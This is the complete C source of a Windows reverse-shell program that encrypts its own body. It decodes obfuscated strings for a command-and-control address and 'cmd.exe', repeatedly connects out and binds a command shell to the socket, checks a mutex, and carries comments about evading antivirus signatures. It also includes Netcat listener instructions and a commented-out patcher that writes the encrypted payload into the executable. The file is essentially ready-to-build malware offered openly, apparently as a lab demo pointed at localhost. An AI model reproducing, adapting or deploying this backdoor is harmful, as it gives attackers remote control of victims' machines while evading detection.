aes

// Self-encrypted (AES-256) plus reverse shell payload to 127.0.0.1:666. Run Netcat: nc -lvvp 666
// Some strings encrypted with https://www.stringencrypt.com (v1.4.0) [C/C++].

// MSVC Settings
// -------------
// Properties -> C/C++  -> Optimization    -> Disabled (/Od)
// Properties -> C/C++  -> Code Generation -> Security Check -> Disable Security Check (/GS-)
// Properties -> C/C++  -> Code Generation -> Runtime Library -> Multi-threaded (/MT)
// Properties -> Linker -> Advanced        -> Randomized Base Address -> No (/DYNAMICBASE:NO)
// Properties -> Linker -> Command Line    -> /SECTION:.text,RWE /SUBSYSTEM:WINDOWS /pdbaltpath:%_PDB%


#define _CRT_SECURE_NO_DEPRECATE
#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define AES_KEY_SIZE   32
#define IV_SIZE        16
#define AES_BLOCK_SIZE 16
#define ONE_SEC        1000
#define nop            __asm _emit 0x90

typedef struct AES256KEYBLOB_ {
    BLOBHEADER hdr;
    DWORD      len;
    BYTE       key[AES_KEY_SIZE];
} AES256KEYBLOB;


// -------------- Begin Body --------------

void begin_shell()
{
    USHORT C2Port = 666;

    // C2Server = "127.0.0.1"
    unsigned char C2Server[10];

    C2Server[7] = 0x2F; C2Server[1] = 0x33; C2Server[3] = 0x2F; C2Server[9] = 0x01;
    C2Server[2] = 0x38; C2Server[5] = 0x2F; C2Server[8] = 0x32; C2Server[0] = 0x32;
    C2Server[4] = 0x31; C2Server[6] = 0x31;

    for (unsigned int tauWy = 0, pcvuf = 0; tauWy < 10; tauWy++)
    {
        pcvuf = C2Server[tauWy];
        pcvuf--;
        C2Server[tauWy] = pcvuf;
    }

    // Process = "cmd.exe"
    unsigned char Process[8];

    Process[5] = 0x73; Process[7] = 0xF9; Process[4] = 0x61; Process[6] = 0x5F;
    Process[0] = 0x63; Process[3] = 0x2B; Process[1] = 0x6C; Process[2] = 0x62;

    for (unsigned int Fyrjn = 0, nVmGF = 0; Fyrjn < 8; Fyrjn++)
    {
        nVmGF = Process[Fyrjn];
        nVmGF += Fyrjn;
        Process[Fyrjn] = nVmGF;
    }

    // Persist until terminated.
    while (1)
    {
        SOCKET clientSocket;
        struct sockaddr_in addr;
        WSADATA version;

        if (WSAStartup(MAKEWORD(2, 2), &version) != 0) {
            continue;
        }

        clientSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(clientSocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
        {
            closesocket(clientSocket);
            WSACleanup();
            continue;
        }
        else
        {
            STARTUPINFOA sinfo;
            PROCESS_INFORMATION pinfo;
            memset(&sinfo, 0, sizeof(sinfo));
            sinfo.cb = sizeof(sinfo);
            sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
            sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)clientSocket;
            // Avoid AV signatures?
            nop
            CreateProcessA(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
            WaitForSingleObject(pinfo.hProcess, INFINITE);
            CloseHandle(pinfo.hProcess);
            CloseHandle(pinfo.hThread);
            closesocket(clientSocket);
            WSACleanup();
        }

        Sleep(ONE_SEC);
    }
}

// -------------- End Body --------------


__declspec(naked) void end_shell(void)
{
    // The ciphertext Body is up to a block length (16 bytes) larger than the plaintext.
    __asm _emit 0x8B __asm _emit 0xAD __asm _emit 0xF0 __asm _emit 0x0D
    __asm _emit 0x8B __asm _emit 0xAD __asm _emit 0xF0 __asm _emit 0x0D
    __asm _emit 0x8B __asm _emit 0xAD __asm _emit 0xF0 __asm _emit 0x0D
    __asm _emit 0x8B __asm _emit 0xAD __asm _emit 0xF0 __asm _emit 0x0D
}


void AES256(BOOL bEncrypt)
{
    DWORD         body_len;
    size_t        body_size;
    LPBYTE        body_data;
    DWORD         aes_num_blocks;
    HCRYPTKEY     hKeyDuplicate;
    boolean       final;
    HCRYPTPROV    hProv;
    HCRYPTKEY     hKey;
    AES256KEYBLOB AESBlob;

    // Shhh...it's a secret!
    BYTE aes_key[] = { 0x31, 0x31, 0x31, 0x31, 0x32, 0x32, 0x32, 0x32,
                       0x33, 0x33, 0x33, 0x33, 0x34, 0x34, 0x34, 0x34,
                       0x35, 0x35, 0x35, 0x35, 0x36, 0x36, 0x36, 0x36,
                       0x37, 0x37, 0x37, 0x37, 0x38, 0x38, 0x38, 0x38 };

    BYTE iv[] = { 0x31, 0x31, 0x31, 0x31, 0x32, 0x32, 0x32, 0x32,
                  0x33, 0x33, 0x33, 0x33, 0x34, 0x34, 0x34, 0x34 };

    memset(&AESBlob, 0, sizeof(AESBlob));
    AESBlob.hdr.bType = PLAINTEXTKEYBLOB;
    AESBlob.hdr.bVersion = CUR_BLOB_VERSION;
    AESBlob.hdr.reserved = 0;
    AESBlob.hdr.aiKeyAlg = CALG_AES_256;
    AESBlob.len = AES_KEY_SIZE;
    memcpy(AESBlob.key, aes_key, AES_KEY_SIZE);

    CryptAcquireContextA(&hProv, NULL, MS_ENH_RSA_AES_PROV_A, PROV_RSA_AES, CRYPT_VERIFYCONTEXT | CRYPT_SILENT);
    CryptImportKey(hProv, (LPBYTE)&AESBlob, sizeof(AES256KEYBLOB), 0, CRYPT_NO_SALT, &hKey);
    CryptSetKeyParam(hKey, KP_IV, iv, 0);

    body_size = (LPBYTE)end_shell - (LPBYTE)begin_shell;
    body_data = (LPBYTE)begin_shell;

    aes_num_blocks = body_size / AES_BLOCK_SIZE;

    while (aes_num_blocks != 0)
    {
        CryptDuplicateKey(hKey, NULL, 0, &hKeyDuplicate);
        final = (aes_num_blocks == 1) ? TRUE : FALSE;
        body_len = AES_BLOCK_SIZE;
        if (bEncrypt)
        {
            CryptEncrypt(hKeyDuplicate, 0, final, 0, body_data, &body_len, AES_BLOCK_SIZE * 2);
        }
        else
        {
            CryptDecrypt(hKeyDuplicate, 0, final, 0, body_data, &body_len);
        }
        CryptDestroyKey(hKeyDuplicate);
        body_data += AES_BLOCK_SIZE;
        aes_num_blocks--;
    }

    CryptDestroyKey(hKey);
    CryptReleaseContext(hProv, 0);

    if (bEncrypt)
    {
        // code_bin = "code.bin"
        BYTE code_bin[] = { 0x63, 0x6f, 0x64, 0x65, 0x2e, 0x62, 0x69, 0x6e, 0x00 };
        // mode = "wb"
        BYTE mode[] = { 0x77, 0x62, 0x00 };

        // Write encrypted Body to code.bin
        body_data = (LPBYTE)begin_shell;
        FILE* pFile = fopen(code_bin, mode);
        fwrite(body_data, sizeof(char), body_size + AES_BLOCK_SIZE, pFile);
        fclose(pFile);
    }
}


BOOL AlreadyRunning()
{
    // szMutex = "Global\\AI"
    unsigned char szMutex[10];

    szMutex[9] = 0x09; szMutex[1] = 0x6D; szMutex[0] = 0x47; szMutex[6] = 0x5A;
    szMutex[8] = 0x41; szMutex[5] = 0x69; szMutex[3] = 0x61; szMutex[4] = 0x65;
    szMutex[7] = 0x46; szMutex[2] = 0x6D;

    for (unsigned int vZunm = 0, sGnrH = 0; vZunm < 10; vZunm++)
    {
        sGnrH = szMutex[vZunm];
        sGnrH ^= vZunm;
        szMutex[vZunm] = sGnrH;
    }

    HANDLE  hStartEvent = CreateEventA(NULL, FALSE, FALSE, szMutex);

    if (hStartEvent == NULL)
    {
        return FALSE;
    }

    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        CloseHandle(hStartEvent);
        return TRUE;
    }

    return FALSE;
}


int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpszCmdLine, _In_ int nCmdShow)
{
    if (!AlreadyRunning())
    {
        DWORD ate_bad_food = _byteswap_ulong(*(LPDWORD)end_shell);

        if (ate_bad_food != 0x8BADF00D)
        {
            // Decrypt Body
            AES256(FALSE);

            begin_shell();
        }
        else
        {
            // Encrypt Body
            AES256(TRUE);
        }
    }

    return 0;
}




/*

// Patch payload file code.bin to aes.exe offset: 0000:0400  ...

#define _CRT_SECURE_NO_DEPRECATE
#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <stdio.h>
#include <stdlib.h>

int main()
{
    FILE* fpc = fopen("code.bin", "rb");
    fseek(fpc, 0, SEEK_END);
    unsigned long len = ftell(fpc);
    unsigned char* buffer = malloc(len);
    rewind(fpc);
    fread(buffer, 1, len, fpc);
    fclose(fpc);

    FILE* fp = fopen("aes.exe", "r+b");
    fseek(fp, 0x400, SEEK_SET);
    fwrite(buffer, 1, len, fp);
    free(buffer);
    fclose(fp);

    return 0;
}

*/